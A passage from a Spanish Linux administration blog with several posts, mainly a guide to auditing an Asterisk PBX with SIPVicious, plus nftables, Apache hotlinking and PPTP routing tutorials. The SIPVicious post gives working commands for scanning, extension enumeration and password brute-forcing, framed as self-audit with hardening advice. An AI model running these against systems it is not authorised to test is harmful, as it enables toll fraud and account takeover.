La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.

Espero que os haya resultado útil.

Saludos.

Auditar nuestra centralita Asterisk con SIPVicious

2019-10-07T08:07:00.000+02:00

Siempre que se piensa en el concepto de la seguridad, se parte del concepto: Mínima superficie de exposición, mínimo privilegio posible. Concepto que si bien es importante, no implica que un servicio sea inexpugnable, pues si bien siempre se intenta que un servicio no sea accesible desde lugares indeseados, hay ciertos servicios tales como páginas web o centralitas de Asterisk, que tienen que tener cierta flexibilidad. Esa flexibilidad nos ofrece ciertas ventajas, pero al mismo tiempo pueden ser posibles objetivos de ataques no deseados... Ataques que siempre conviene tener en cuenta.

Es por ello que hay algunas herramientas que nos pueden ayudar a realizar auditorías sobre nuestras centralitas de Asterisk, y que pueden servirnos para "poner a prueba" nuestro sistema; ya que nos ayuda a prevenirnos de ataques reales que pueden ser muy dañinos. Supongamos que alguien se hace con el control de una extensión telefónica capaz de hacer llamadas internacionales; en muy poco tiempo el coste económico de la medida sería brutal. Es por ello que mediante estas herramientas podemos hacernos una idea de las fortalezas y debilidades de nuestra PBX. Hay múltiples herramientas, pero la más popular sería SIPVicious.

SIP Vicious es una herramienta de software libre muy extendida que incluso está incluida hoy en día dentro de la archi-conocida distribución Kali. Para poder utilizarla, esta utilidad usa por defecto el puerto 5060 para escuchar los mensajes de respuesta, a menos que esté en uso por nuestro propio Asterisk u otro servicio, en cuyo caso usaría el siguiente puerto que esté libre (5061,5062...); con lo que es importante tener esos puertos abiertos en el equipo atacante si queremos poder recibir los mensajes de respuesta.

La utilización es muy sencilla, y solamente requiere tener python instalado (el cual ya viene pre-instalado la gran mayoría de las veces) y si caso la herramienta git, si bien no es necesario al 100%, nunca viene mal tenerla instalada. En caso de no utilizar git, sí que sería necesario descargarnos la herramienta zip.

Para descargar la aplicación, siempre y cuando no se use Kali que ya la incluye por defecto, la cual se encuentra Github, se puede hacer desde la consola de dos formas; o bajando el fichero comprimido o vía git:

Vía git:

git clone https://github.com/EnableSecurity/sipvicious.git

Vía directa:

wget https://github.com/EnableSecurity/sipvicious/archive/master.zip
unzip master.zip

Cualquiera de estos procedimientos dará como resultado una carpeta que puede llamarse sipvicious en caso de usar git, o sipvicious-master, pero independientemente del nombre ambos tienen el mismo contenido, dentro del cual el que nos interesa es el que se encuentra dentro de la subcarpeta sipvicous. Dicha carpeta tiene diferentes programas escritos en python, dentro de los cuales, 3 serían los que principalmente nos interesarían: svmap.py svwar.py y svcrack.py.

La primera herramienta, svmap.py, sería la que usaríamos para escanear un rango de IPs a nuestra elección, junto con sus respectivos puertos con el fin de ver si se encuentra alguna que dé como respuesta alguna PBX, como por ejemplo Asterisk. Dicho escaneo usaría la sintaxis:

svmap.py -p puerto_inicio-puerto_fin IP_inicio-IP_fin -m opciones

El puerto sería opcional, y se podría poner un puerto únicamente si se desea; en caso de no usar ninguno, se usaría el puerto standard SIP, 5060. Con respecto a la IP que se desea escanear, se puede poner una sola o un rango de IPs, dependiendo de nuestras necesidades. En caso de querer testear solamente nuestro equipo, solamente con una IP sería suficiente...

En el apartado opciones, es opcional usarlo, pero una opción muy común sería la de INVITE, ya que es mensaje que se envía a una PBX cuando un usuario se desea registrar. Un comando de ejemplo podría ser:

./svmap.py -p 5060 192.168.1.102 -m INVITE

Esto nos puede dar como resultado o bien un resultado nulo, que sería lo deseable, o bien que nos dé información de la PBX, incluyendo la versión que usa el equipo contrario. Por ejemplo, usando dicho comando contra mi Asterisk, me ha dado como resultado:

En caso de que se muestre este mensaje en nuestra centralita, lo ideal sería intentar ocultarlo lo antes posible, pues esto nos brinda dos datos a nuestro atacante. El primero es que el puerto 5060 tiene un Asterisk asociado, lo cual es susceptible a ataques, pero no solo eso, sino que además nos brinda la versión de éste, que puede ser más peligroso aún, ya que si uno conoce la versión de software que uno usa, puede buscar vulnerabilidades asociadas a dicha versión, que puede hacer innecesario el utilizar ataques de fuerza bruta contra la centralita.

Supongamos que hemos recibido el mensaje anterior, lo que pasaríamos a hacer ahora sería a intentar ver qué extensiones están "disponibles" en nuestro objetivo. Esto lo lograríamos mediante la segunda utilidad: svwar.py

La utilidad svwar, es una utilidad muy simple que se dedica a mandar peticiones de registro contra la centralita objetivo. Si la PBX devuelve un mensaje "No matching peer found" o no respondiese, consideraría que no hay una extensión asociada, pero en caso de que considerase que la contraseña introducida para el registro, no es correcta, interpretaría que SÍ que hay una extensión, extensión contra la que se podría intentar hacer un ataque de fuerza bruta. La sintaxis es extremadamente simple en este caso:

svwar.py -e extension_inicio-extension_fin IP

Teniendo en cuenta que las extensiones, generalmente son de entre 3 y 4 dígitos, un ejemplo contra la PBX que tengo de pruebas podría ser:

./svwar.py -e000-9999 192.168.1.102

Hay que tener en cuenta que a mayor el rango de extensiones, mayor el tiempo invertido. A modo de curiosidad, si tenemos una sesión de consola de Asterisk abierta en la máquina objetivo (el clásico asterisk -rvvvv), veremos un sin fin de mensajes parecidos a este; un mensaje por cada extensión no existente:

Al acabar el barrido, en caso de que alguna extensión le haya respondido a la herramienta, tendremos un resultado parecido al siguiente:

Ya sabemos todo lo que necesitábamos saber; sabemos que la IP 192.168.1.102, tiene un Asterisk montado en el puerto 5060 y además sabemos que hay una extensión 1001, configurada en dicha centralita. Solo queda usar la tercera herramienta mencionada antes, svcrack.py para intentar obtener, si se puede, la contraseña.

Los ataques aquí se pueden hacer de dos formas, o bien a fuerza bruta mediante dígitos, o bien vía diccionario. En caso de hacerlo mediante fuerza bruta, lo que se haría sería probar diferentes combinaciones numéricas hasta acertar con el número. En caso de que en cambio se optasen por un ataque de diccionario, se tendría que tener el diccionario, en formato txt y se recurriría a él para hacer el ataque; por ejemplo, para el ataque por fuerza bruta haríamos:

./svcrack.py -u 1001 -r 0000-9999 192.168.1.102

Donde después del -u se especificaría la extensión que se desea "atacar" y después del -r especificaríamos el rango de números a utilizar como contraseña. En este caso se ha usado una contraseña débil, y desgraciadamente bastante común; la cual ha tardado apenas unos segundos en descifrar la herramienta:

Para el ataque de diccionario en cambio, en vez de usar el parámetro -r, usaríamos el parámetro -d, seguido del diccionario que querríamos usar.

svcrack.py -u 1001 -d diccionario.txt 192.168.1.102

Mediante dicho método, el tiempo que tardaría en descifrar la contraseña variaría, pero en caso de usar contraseñas alfanuméricas, sería el único método posible.

COMO EVITARLO

Como siempre digo, la seguridad absoluta no existe, pero es cierto que al menos hay que intentar ponérselo difícil al atacante; es por ello que las dos primeras que hemos utilizado, para encontrar centralitas Asterisk, y para rastrear extensiones en la susodicha, se pueden evitar añadiendo una sola línea en el fichero /etc/asterisk/sip.conf:

alwaysauthreject=yes

Dicho parámetro en Asterisk 16 ya está habilitado por defecto (sin tener que siquiera añadir nada al fichero de configuración), pero en la gran mayoría de versiones no es así, con lo que es ideal ponerlo a mano en el fichero con el fin de estar seguros.

Al establecer un valor yes a dicho parámetro, lo que haríamos sería denegar la la respuesta a las autenticaciones de usuarios incorrectos o inexistentes, cosa que se hace mediante las herramientas svmap y svwar... Puede parecer un detalle sin importancia pero mediante la combinación de dicha media, junto con el uso de un puerto SIP no estandard (a poder ser un número de puerto muy alto), nos quitaríamos de un barrido el 90% de los scripts automatizados que se dedican a hacer barridos y ataques automáticos a los puertos 5060.

Eso no implica que mediante esto hagamos inmune a nuestra centralita, pero sí que evitaremos dar información al atacante, lo que hará que éste no empiece a hacer ataques de fuerza bruta contra una extensión nuestra centralita SIP, a menos que haya obtenido la información por otros medios.

Para los ataques de fuerza bruta que se hagan contra la extensión, solamente se pueden dar dos recomendaciones; la primera muy sencilla de implementar, la segunda ya depende de los medios que uno disponga.

La primera medida sería la obvia, usar contraseñas seguras para nuestras extensiones. A poder ser largas y alfanuméricas; es más al usar contraseñas alfanuméricas.

La segunda medida sería, no compleja, pero sí requeriría un cierto esfuerzo por parte de uno, y sería el uso de utilidades tales como Fail2ban, que entre otras cosas pueden bloquear los intentos repetidos de conexión/autenticación contra un destino. Hay que tener en cuenta que los ataques de fuerza bruta o de diccionario realizan un número ingente de autenticaciones, con lo que si lo podemos evitar mediante dicha herramienta podremos, dificultarle en gran medida el ataque a nuestro agresor.

Espero que os haya resultado útil, y que podáis sacarle partido a esta utilidad que puede ayudarnos a ver en si nuestra centralita esta debidamente protegida o no.

Saludos.

Nftables, el sucesor de iptables

2019-10-01T13:34:00.002+02:00

La tecnología evoluciona constantemente, a veces a costa de imposiciones de ciertos criterios, y otros a costa de comparar los pros y los contras. Iptables ha sido siempre el principal referente en el área de firewalls para Linux; es cierto que a raíz de ahí nacieron herramientas intuitivas que intentaban hacer un uso más fácil de éste, pero generalmente se usaba dicha tecnología como referencia. Obviamente, con el paso del tiempo, se han ido optando por diferentes alternativas, pero siempre intentando mantener iptables ahí, pero con la introducción de "Debian 10 (Buster)" y las últimas versiones de Red Hat, se ha ido imponiendo su sucesor, considerando al veterano firewall como obsoleto. Hablamos de nftables.

Nftables es un software creado por netfilter que podría considerarse como la evolución natural de nftables, que ha intentado adaptar la sintaxis a los nuevos tiempos, con el fin de que la escritura de las reglas de este software sea algo más intuitiva que la de su predecesor.

La dinámica que utilizar este software es bastante parecida a la de iptables, en el sentido de que tal y como ocurre con su predecesor, nftables se divide por tablas, las cuales tienen dentro cadenas, dentro de las cuales se añaden las reglas. En caso de haber usado iptables con anterioridad dichos conceptos os serán familiares, en caso contrario es importante tenerlos claros antes de continuar, ya que en caso contrario el entendimiento de la herramienta será muy difícil. Además es importante saber que las reglas de nftables se pueden definir o bien directamente en consola o bien mediante un fichero de configuración.

TABLAS

Las tablas están compuesta por una o varias cadenas; en iptables éstas seguían una lógica, ya que se agrupaban en cadenas de tipo filter, nat y mangle; en nftables podemos hacer que nuestras tablas tengan las cadenas que queramos, pero lo ideal, en términos de gestión es que sigan una lógica parecida, aunque no es obligatorio. En resumen, una tabla no es más que una o a varias cadenas agrupadas bajo un nombre común desde el cual se hacer referencia a éstas. Las tablas pueden tener el nombre que queramos, pero es importante tener en cuenta que éstas pertenecen a diferentes familias, y que dependiendo del tipo, se tendrán en cuenta un tipo de paquete de red u otro:

ip: La familia por defecto, en caso de que no le digamos nosotros otra cosa. Éste solamente tendrá en cuenta los paquetes de red IPv4.
ip6: Como su propio nombre indica, tendrá en cuenta los paquetes IPv6.
inet: Una familia híbrida que contemplará ambos protocolos de IP, y que, dependiendo de a lo que hagamos referencia, tendrá en cuenta un tipo de IP u otra, o ambas, Por ejemplo si se hace referencia a una IPv4, se aplicará la regla para los paquetes IPv4, pero si hacemos referencia solamente a un puerto (por ejemplo el 80), sin especificar una IP de origen o de destino, se tendrán en cuenta ambos protocolos. Esta familia no funciona en las cadenas NAT (de esto hablaremos más adelante), al menos de momento, debido al bug 1173, con lo en caso de querer usar cadenas de dicho tipo para paquetes IPv4 e IPv6, habría que crear 2 tablas separadas, una perteneciente a la familia ip y la otra a ip6.
arp: Esta familia solamente tendrá en cuenta el tráfico ARP.
bridge: Esta familia entraría en acción en las interfaces de tipo bridge, que hayan sido creadas en el sistema.
netdev: Aquí se tratará el paquete antes de que sea procesado por la interfaz de red. No se tiene en cuenta si es IPv4 ni IPv6; desde aquí se ve todo, y es útil para el bloqueo de ataques DOS o DDOS, ya que lo deniega antes de ser procesado, tomándole menos tiempo al sistema el desecharlo.

La primera vez que se instala nftables, crea una tabla llamada filter del tipo inet, pero es importante conocer cómo agregar nuevas tablas.

Para ello, antes de empezar a hacer nada, es muy recomendable cargar todos sus módulos de nftables en el kernel, ya que en caso contrario nos podremos encontrar errores tales como 'Could not process rule: No such file or directory'. Para ello lo recomendado por los propios desarrolladores del proyecto, es crear el fichero /etc/modules-load.d/modules-nftables.conf e introducir el siguiente contenido para después reiniciar el equipo:

nf_conntrack
nf_conntrack_ipv4
nf_conntrack_ipv6
nf_defrag_ipv4
nf_defrag_ipv6
nf_nat
nf_nat_ipv4
nf_tables
nf_tables_inet
nf_tables_ipv4
nf_tables_ipv6
nfnetlink
nft_counter
nft_ct
nft_hash
nft_limit
nft_log
nft_meta
nft_rbtree
nft_reject
nft_reject_inet
nft_reject_ipv4
nft_reject_ipv6

Con todos los preparativos realizados, para crear una nueva tabla escribiremos la siguiente sintaxis:

nft add table 'familia' 'nombre'

Por ejemplo, para crear una tabla llamada "filter" que contemple los paquetes IPv4 e IPv6, haremos:

nft add table inet filter

Con ello ya tendríamos nuestra primera tabla creada, tabla que puede ser borrada o que cuyo contenido puede ser listado o borrado sustituyendo add por delete, list y flush, respectivamente.

CADENAS

Las cadenas son simples contenedores de reglas. A diferencia de en iptables, que ya había una serie de cadenas predefinidas, tales como INPUT, OUTPUT, en nftables no existe ninguna por defecto, sino que tienen que ser creadas. La creación de cualquier cadena tendría una sintaxis como la siguiente:

nft add chain 'familia' 'tabla' 'nombre_cadena' {type 'tipo' hook 'estado_del_paquete' priority 'prioridad'; policy 'politica';}

Las familias y las tablas ya las conocemos, con respecto al tipo, tenemos cadenas de tres tipos:

filter: Este tipo de cadena se encarga del filtrado de paquetes.
route: Permite rutar los paquetes salientes
nat: Se utiliza para aplicar reglas de nateo de paquetes, es decir, para la conversión de IPs.

Por otro lado tenemos el estado del paquete, el cual viene 'heredado' de su predecesor, iptables, y que dependiendo del tipo que hayamos escogido, se podrá hacer referencia a un estado u otro del paquete. Los estado sería input, output, forward, prerouting y postrouting. Los tres primeros son intuitivos, mientras que prerouting se utilizaría para tratar una interfaz que está a punto de ser rutada y postrouting se utilizaría para tratar la interfaz tras haber sido rutada.

Obviamente no todos los tipos se pueden usar en todas las familia al igual que no todos los estados se pueden usar para todos los tipos, con lo que a continuación dejo una pequeña tabla que puede servirnos como guía orientativa que nos puede servir de ayuda en la creación de cadenas:

Además, podemos definir la prioridad que tendrá la cadena con respecto al resto de la misma tabla. Aquella que tenga el número más bajo (pudiendo ser negativo), será aquella que se ejecutará antes.

Además podemos también definir, de forma opcional, la política que queremos que tenga la cadena por defecto, de entres las cuales las más comunes serían: accept o drop, es decir permitir o denegar. En caso de no definir ninguna política, nftables define automáticamente que la política será accept.

Con toda esta información en mano, podemos crear varias cadenas de prueba. Por ejemplo, siguiendo la lógica del ejemplo inicial, en el que hemos creado una tabla llamada filter, vamos a crear las 3 cadenas de filtrado básicas que ya venían predefinidas en iptables, las cuales se llamaban input, output y forward. Estas cadenas, para este ejemplo, estarán abiertas por defecto, es decir que serán 3 cadenas vacías que no harán nada por defecto; solo existir y que dejarán que las reglas definidas dentro de éstos sean los que dictaminen los comportamientos:

Para crear la cadena llamada input, que se encargará de contener las reglas de los paquetes entrantes, haremos:

nft add chain inet filter input { type filter hook input priority 0\; policy accept\; }

Para las cadenas output y forward haríamos lo equivalente:

Output:

nft add chain inet filter output { type filter hook output priority 0\; policy accept\; }

Forward:

nft add chain inet filter forward { type filter hook forward priority 0\; policy accept\; }

REGLAS

Finalmente con todos estos preparativos creados, podemos empezar a crear nuestras reglas. Dichas reglas siempre tendrán que ir dentro de una cadena perteneciente a una tabla; de ahí todos los preparativos realizados hasta ahora. Dichas reglas, pueden parecer algo abrumadoras al principio por las gran cantidad de posibilidades que ofrecen, pero a su favor hay que decir que son bastante intuitivas. La creación de reglas sigue esta sintaxis

nft add rule 'familia' 'tabla' 'cadena' 'expresión'

Inicialmente todo estaría claro a excepción de la expresión en sí, que sería lo que definiría la regla. Las expresiones son unas reglas que tienen que coincidir bajo ciertas circunstancias y que tras las cuales se deciden ciertas acciones. Esto dicho así puede parecer lioso, pero al final sería definir la regla, su argumento y la acción que se realizará al respecto... Es mejor empezar con un ejemplo sencillo que definiría la regla más sencilla posible; vamos a crear una regla que impida que puedan acceder al puerto 80. La regla se añadiría tal que así:

nft add rule inet filter input tcp dport 80 drop

En esta regla estaríamos diciendo que todo el tráfico TCP al puerto 80 sería bloqueado, y como podéis observar la expresión en sí es intuitiva. Existen muchísimas expresiones y reglas, y aquí sería imposible abarcar todas, pero las más comunes serían:

oifname 'nombre de la interfaz SALIENTE'
iifname 'nombre de la interfaz ENTRANTE'

ip protocol 'protocolo'
ip daddr 'direccion IPv4 de DESTINO'
ip saddr 'direccion IPv4 de ORIGEN'

ip6 daddr 'direccion IPv6 de DESTINO'
ip6 saddr 'direccion IPv6 de ORIGEN'

tcp dport 'puerto de DESTINO'
tcp sport 'puerto de ORIGEN'

udp dport 'puerto de DESTINO'
udp sport 'puerto de ORIGEN'

ct state 'new | established | related | invalid'

Dichas expresiones pueden combinarse entre sí dentro de la misma regla y siempre tienen que terminar con una política; las más comunes son las mencionadas antes: accept y drop. Pero existen también las políticas queue, continue y return; además de una política especial, la cual solamente se puede usar en las cadenas de tipo nat, llamada masquerade. Esta última lo que haría sería transformar la IP de origen del tráfico saliente en la IP de dicha interfaz, lo cual es común en las labores de NATeo, pues lo que se hace es transformar una IP en otra.

Usando lo de arriba como referencia podemos hacer combinaciones como estas:

Bloquear todo el trafico al puerto 22 desde el rango de IPs 192.168.1.0/24:

nft add rule inet filter input tcp dport 22 ip saddr 192.168.1.0/24 drop

Bloquear todo el trafico entrante nuevo (ct state new), proveniente del puerto 80. Es decir que nosotros podamos conectarnos a Internet, pero que no se puedan conectar a nuestro puerto 80 desde fuera:

nft add rule inet filter input ct state new drop

Bloquear los pings que accedan por la interfaz con nombre enp0s3:

nft add rule inet filter input iifname enp0s3 ip protocol icmp drop

Esto solo sería una parte de lo que puede hacer nftables, pero nos sirve para hacernos una idea global de la potencia que nos puede ofrecer esta utilidad.

Para listar todo aquello que hemos creado (las tablas, cadenas y reglas) tenemos el comando:

nft list ruleset

El cual nos mostrará nuestra configuración completa; configuración que podemos volcar en el fichero de configuración de nftables con el fin de que sea permanente. Esto se puede hacer a mano o mediante el comando:

nft list ruleset > /etc/nftables.conf

En caso de querer eliminar una regla que hayamos creado, es importante saber que, de momento, no es tan sencillo como sustituir nft add por nft delete; desgraciadamente, es necesario ejecutar primero el comando:

nft list ruleset -a

Allí veremos que al lado de cada tabla y cada regla aparecerá: #handle, seguido de un número; para eliminar la regla, tendremos que hacer referencia al handle con dicho numero. Si por ejemplo la regla de inet filter tuviese el handle 7, tendríamos que escribir:

nft delete rule inet filter input handle 7

Esto último no es del todo intuitivo y lo ideal sería poder eliminarlo de forma "natural", pero de momento es posible.

En definitiva, nos encontramos ante una versión más potente e intuitiva que iptables, que si bien ofrece varias ventajas, también posee un par de desventajas. El hecho de tener que conocer el handle de la regla para poder eliminarla, no es del todo afinado, al igual que la incapacidad de poder usar la familia inet para la tabla nat, o que sea necesario crear la tabla nat junto con sus correspondientes cadenas desde cero para hacer un simple 'masquerade' del tráfico postrouting.

Aún así es recomendable acostumbrarse a utilizarla, pues Debian 10 ya no usa iptables y en un futuro cercano nos veremos obligados a utilizar este firewall en el resto de distribuciones. Además, seguramente con el paso del tiempo irá puliendo esos pequeños detalles que hacen que esta potente herramienta no sea del todo perfecta.

Espero que os haya resultado útil.

Saludos.

Vuelta a la "normalidad"

2019-10-01T13:33:00.000+02:00

Tras prácticamente y algo un año sin poder acceder al blog por falta de tiempo, espero poder volver ahora a la normalidad. Tiempo con muchos cambios en mi estilo de vida ha hecho que mi tiempo libre se haya reducido prácticamente a 0, y que si bien ahora no es el mismo que tenía antes de dichos cambios, si que es mayor que el que he tenido hasta ahora. Eso no implica que este tiempo haya estado desconectado del mundo tecnológico: finalmente he obtenido la certificación LPIC-1 (que si bien en mi caso no me ha requerido prepararme demasiado, tenía ganas de obtenerla con el fin de tener un papel que dijese que sé de Linux), he estado leyendo y experimentando, testeando cosas... No tanto como me habría gustado pero algo se ha podido progresar, con lo que espero poder ir plasmando paulatinamente esas cosas que he encontrado interesantes durante dicho tiempo, al igual que también plasmar aquellas cosas que me tope en el futuro.

Intentaré publicar a medida que pueda, aunque todo dependerá de la flexibilidad de mi agenda y del tiempo libre que pueda extraer de mis otras obligaciones. De momento os dejo con un pequeño artículo aparte sobre nftables, que espero que os resulte útil.

Sin más preámbulos, nos vamos leyendo.

¡Hasta el próximo artículo!

Saludos!

Hotlinking; qué es y como evitarlo en Apache 2

2018-04-17T23:05:00.002+02:00

Todos aquellos que tienen un servidor web expuesto al público, saben que al hacerlo dejan dicho servidor expuesto al mundo, y aún con un firewall bien configurado para evitar, en su medida, ciertos ataques, saben que siempre se corre riesgo de que por un motivo u otro, la web deje de estar disponible, su tiempo de respuesta sea lento o que ésta sea vulnerada. Teniendo en cuenta que el objetivo de una web es que "todos" la vean, es harto difícil lograr combinar una seguridad "infranqueable" y disponibilidad, y lo peor de todo es que a veces, acciones insignificantes que no son malintencionadas, pueden afectar al rendimiento de nuestra web... Hoy quiero hablaros de dicho último en especial; concretamente de una acción llamada hotlinking.

El hotlinking es una acción que si bien en sí no es maligna, puede perjudicar a otros en determinados aspectos, pues se trata de el uso de imágenes de otros servidores en vez de imágenes propias para enriquecer el contenido de una web. A modo de ejemplo, supongamos que queremos añadir una imagen a nuestra web; tenemos dos opciones, o subirla a nuestro servidor, o hacer referencia a la URL de una imagen ya hospedada en otro servidor; la segunda opción se trataría de un hotlink. Esto en sí no es un problema cuando se tratan de pocas imágenes y pocos links... Pero sí que puede ser problemático cuando el número de hotlinks es muy alto; especialmente si las páginas desde las que se reciben los hotlinks son muy visitadas, pues cada vez que dicha imagen es cargada en la otra página, estaría consumiendo ancho de banda de nuestro servidor, ya que la imagen que estarían solicitando estaría alojada en nuestro servidor, con lo que en verdad nos estarían haciendo una solicitud de imagen a nosotros y no a ellos.

Con el fin de que el ancho de banda de nuestra web no sea consumido involuntariamente, lo ideal es protegernos del hotlinking; lo cual afortunadamente es sencillo de implementar en Apache 2. Para ello hay dos tipos de prevención de hotlinking; aquel que directamente te pone muestra una imagen nula o aquel que te muestra una imagen concreta (y diferente) con el fin de dar a entender que están realizando una práctica no deseada contra nuestras imágenes.

Para poder aplicar dicha medida de protección en nuestro servidor, lo primero que necesitamos hacer es tener el módulo mod_rewrite activado en nuestro servidor web Apache2. Dicho módulo es instalado por defecto con Apache2, pero al mismo tiempo se encuentra desactivado por defecto, con lo que primero activaríamos dicho módulo, lo cual es tan sencillo como escribir el comando de a continuación como root:

a2enmod rewrite

Veremos que nos solicita reiniciar Apache2 con el fin de hacer efectivo el cambio, pero todavía no lo haremos debido a que necesitaremos hacer un pequeño cambio en la configuración de este servicio para que pueda trabajar con el módulo rewrite... Esto es debido a que Apache2 por defecto está diseñado para no trabajar con dicho módulo y para no permitir que se "sobrescriban" las políticas del servidor web. En este caso, al querer modificar el comportamiento del servidor para prevenir el hotlinking, editaremos el fichero /etc/apache2/apache2.conf; teniendo en cuenta que lo más común es que la página web esté alojada en /var/www/ (o en uno de sus subdirectorios), cambiaremos lo siguiente:

Antes:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride none
        Require all granted
</Directory>

Despues:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride all
        Require all granted
</Directory>

Con dicho cambio realizado, ahora sí que procederíamos a reiniciar Apache2 mediante el comando:

service apache2 restart

Una vez tengamos los preparativo realizados, pasaremos a implantar nuestra protección contra hotlinks, lo cual lograremos gracias a la intervención de un fichero que crearemos llamado .htaccess, cuya función es rescribir la configuración usada para el servicio web dentro del directorio en el que se aloja ésta y, también, dentro de los subdirectorios de la susodicha. En mi caso en concreto la web se encontraría alojada en /var/www/html, web en la cual estaría hospedada la siguiente imagen:

Dicha imagen se encontraría desnuda en estos momentos, es decir que podría ser accedida desde cualquier otra web, con lo que dentro del directorio /var/www/html crearíamos el fichero .htaccess con el siguiente contenido:

RewriteEngine on
RewriteOptions InheritDown
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)://(www\.)?192.168.1.8/.*$ [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ - [NC]

Desgranemos cada línea con el fin de entender el contenido del fichero y no hacer un simple copia-pega.

La primera línea, RewriteEngine on; habilita la posibilidad de realizar las opciones "rewrite" que se ejecutan a continuación, acciones realizadas gracias al módulo rewrite de Apache2; en caso de carecer de dicha línea o tener dicho valor establecido a off.

La segunda línea, RewriteOptions InheritDown, la cual es opcional, sirve para que los subdirectorios hereden la configuración aplicada en dicho .htaccess.

La tercera y cuarta línea, son las condiciones bajo las cuales se ejecutaría el rewrite. En ambas se tiene en cuenta qué IP o dominio va a hacer referencia a la web debido a que en la condición, RewriteCond, se revisa dicho valor gracias a %{HTTP_REFERER}, después del cual se dice desde donde se realiza una petición HTTP al servidor. Dicha petición se realizaría desde dos orígenes, desde el propio servidor (a nivel interno) para lo cual pondríamos el parámetro en cuestión vacío, lo cual se representa como: !^$. En cambio, para especificar nuestro host, tendríamos que escribir el nombre (o la IP) de éste teniendo en cuenta que se puede hacer referencia al host como http, https (si lo tenemos habilitado), con www o sin este. En mi caso el servidor Apache2 sería la IP 192.168.1.8. Además, veremos que al lado hay un parámetro llamado [NC]; dicho parámetro se encargaría de no hacer distinción entre mayúsculas y minúsculas.

Por último se pondría la re-escritura de "reglas" mediante el RewriteRule, el cual en este caso haría que todas las peticiones que HTTP que se hagan a las imágenes jpg,jpeg,png y gif, sean bloqueadas. Por ejemplo, si hacemos una petición a dicha imagen desde otro servidor web, veremos una imagen en blanco:

Esto nos serviría para bloquear el hotlinking desde otros sitios; si deseásemos que se mostrase una imagen concreta que fuese indicativa de que tenemos la protección contra hotlinks activada, podríamos editar el contenido anterior para que en la línea RewriteRule nos redirija a una imagen local previamente preparada. La re-dirección la haríamos especificando la ruta local de dicha imagen.

RewriteEngine on
RewriteOptions InheritDown
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?192.168.1.8/.*$ [NC]
RewriteRule \.(jpg|png)$ /var/www/html/imagenes/candado.png [NC]

Ahora en caso de intentar acceder a la imagen desde un origen no grato, veríamos la imagen de un candado tal y como podemos ver en la siguiente captura:

Esta medida puede ser incluso más efectiva que la del bloqueo, ya que sería claramente disuasoria de que las personas intenten hacer hotlinks a dichas imágenes propias y que en caso de desear mostrarlas, tengan la necesidad de descargárselas y subírselas a sus propios servidores.

Como podéis ver la técnica de prevención de hotlinks es fácil y sencilla de aplicar, medida que si bien puede uno pensar que no necesita, puede prevenirle a uno del consumo indeseado de ancho de banda; prevención que se puede aplicar de una forma muy rápida como se ha podido ver aquí.

Espero que os haya resultado útil.

Saludos.

Cómo habilitar el tráfico PPTP a través de un router Linux

2018-03-23T20:04:00.000+01:00

La creación de un router "casero" con Linux es relativamente sencillo; solamente necesitamos dos tarjetas de red y tener claras las IPs y VLANes a la que pertenece cada interfaz de red... La cuestión está en que a veces podemos tener problemas de comunicación con ciertos servicios al "aislarnos" gracias a dicho router casero que hemos creado con nuestro sistema Linux. Dicho aislamiento puede deberse a veces a problemas de configuración con iptables, o a que debido a algunas políticas por defecto adoptadas por Linux, cierto tráfico es bloqueado. En este caso quiero mostraros como habilitar el tráfico PPTP (Point to Point Tunelling Protocol) en Linux.

Podemos tener una configuración perfecta en el cortafuegos, pero aún así ver que el tráfico no está llegando correctamente a su destino... Esto es debido a que Linux tiene deshabilitado por defecto el enrutamiento del tráfico PPTP, ya que hoy en día es considerado inseguro y es mucho más recomendado usar tecnologías tales como OpenVPN o tecnologías que usen Ipsec. Aún así, no siempre podemos trabajar en las circunstancias ideales y cuando nos piden conectarnos a un servidor VPN ajeno, no podemos elegir qué tipo de VPN es, sino que tenemos que adaptarnos a las circunstancias. Es por ello que tendremos que habilitar que dicho tráfico "fluya" por nuestro router.

Afortunadamente la solución es sencilla; lo primero de todo sería comprobar si tenemos el módulo el enrutamiento (también conocido como nateo) del protocolo PPTP activado. Esto es tan sencillo como listar todos los módulos existentes, haciendo un filtrado del módulo que buscamos, que en este caso sería nf_nat_pptp. Dicho listado lo haríamos gracias al comando lsmod:

lsmod |grep nf_nat_pptp

Lo más normal sería que el comando nos diese un resultado vacío; es decir que el módulo no estuviese activo. Afortunadamente la solución es extremadamente sencilla: Para insertar el módulo habría que ejecutar el comando:

insmod nf_nat_pptp

Gracias a dicho comando tendríamos activado el módulo en cuestión, si bien para que este cambio fuese permanente habría que incluirlo en el arranque añadiéndolo en al fichero /etc/modules. Para ello habría que escribir el comando:

echo 'nf_nat_pptp' >> /etc/modules

Ahora bien, con dicho comando no sería suficiente, habría que hacer que el kernel también fuese capaz de hacer las acciones necesarias para gestionar dicho tráfico. Afortunadamente el cambio solamente consistiría en añadir una línea al fichero /etc/sysctl.conf. Dicha línea sería añadida tal que así:

echo 'net.netfilter.nf_conntrack_helper=1' \ 
>> /etc/sysctl.conf

Para aplicara los cambios dentro de dicho fichero simplemente habría que ejecutar el comando:

sysctl -p

Gracias a este cambio, un sistema Linux que actúe como enrutador, enrutaría también el tráfico PPTP, brindándonos así la posibilidad de conectarnos a dichos tipos de VPN.

Espero que os haya sido útil.

Saludos.

Límites en Linux; qué son y cómo controlarlos

2018-03-21T21:12:00.002+01:00

